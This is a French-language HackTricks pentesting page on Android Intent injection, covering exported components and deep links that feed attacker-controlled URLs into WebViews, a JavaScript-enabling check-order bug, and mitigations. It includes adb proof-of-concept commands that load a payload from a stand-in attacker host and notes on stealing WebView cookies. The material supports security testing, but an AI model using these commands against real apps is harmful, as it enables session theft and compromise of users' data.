Injection d'Intent
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
L'injection d'Intent abuse des composants qui acceptent des Intents ou des données contrÎlés par l'attaquant qui sont ensuite convertis en Intents. Deux modÚles trÚs courants lors des pentests d'applications Android sont :
- Passer des extras conçus à des Activités/Services/BroadcastReceivers exportés qui sont ensuite transférés à des composants privilégiés, non exportés.
- Déclencher des liens profonds VIEW/BROWSABLE exportés qui transfÚrent des URL contrÎlées par l'attaquant dans des WebViews internes ou d'autres points sensibles.
Liens profonds â WebView sink (injection de paramĂštre URL)
Si une application expose un lien profond de schéma personnalisé tel que :
myscheme://com.example.app/web?url=<attacker_url>
et l'Activity rĂ©ceptrice transmet le paramĂštre de requĂȘte url
dans un WebView, vous pouvez forcer l'application Ă rendre un contenu distant arbitraire dans son propre contexte WebView.
PoC via adb :
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS s'exécute à l'intérieur du profil WebView de l'application.
- Si JavaScript est activé (par défaut ou en raison de vérifications mal ordonnées), vous pouvez énumérer/utiliser n'importe quel objet
@JavascriptInterface
exposé, voler des cookies/local storage de WebView, et pivoter.
Voir aussi :
Bug d'ordre de vérifications permettant JavaScript
Un bug rĂ©current est d'activer JavaScript (ou d'autres paramĂštres WebView permissifs) avant que la liste blanche/validation de l'URL finale ne soit terminĂ©e. Si des helpers prĂ©coces acceptent votre deep link et que le WebView est configurĂ© en premier, votre chargement final se produit avec JavaScript dĂ©jĂ activĂ© mĂȘme si les vĂ©rifications ultĂ©rieures sont dĂ©fectueuses ou trop tardives.
Ce qu'il faut rechercher dans le code décompilé :
- Plusieurs helpers qui analysent/séparent/reconstruisent l'URL différemment (normalisation incohérente).
- Appels Ă
getSettings().setJavaScriptEnabled(true)
avant la derniĂšre vĂ©rification de la liste blanche de l'hĂŽte/chemin. - Un pipeline comme : analyser â validation partielle â configurer WebView â vĂ©rification finale â loadUrl.
Mitigations
- Canoniser une fois et valider strictement ; échouer en mode fermé.
- N'activer JavaScript qu'aprÚs que toutes les vérifications aient réussi et juste avant de charger du contenu de confiance.
- Ăviter d'exposer des ponts Ă des origines non fiables.
Autres primitives classiques d'injection d'Intent
- startActivity/sendBroadcast utilisant des extras
Intent
fournis par l'attaquant qui sont ensuite re-analysés (Intent.parseUri(...)
) et exécutés. - Composants proxy exportés qui transmettent des Intents à des composants sensibles non exportés sans vérifications de permission.
Références
- Android â AccĂšs aux composants protĂ©gĂ©s par l'application
- ChaĂźne d'exploitation Samsung S24 Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â ChaĂźne d'attaque Samsung S24 (document technique)
- Vidéo de démonstration
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.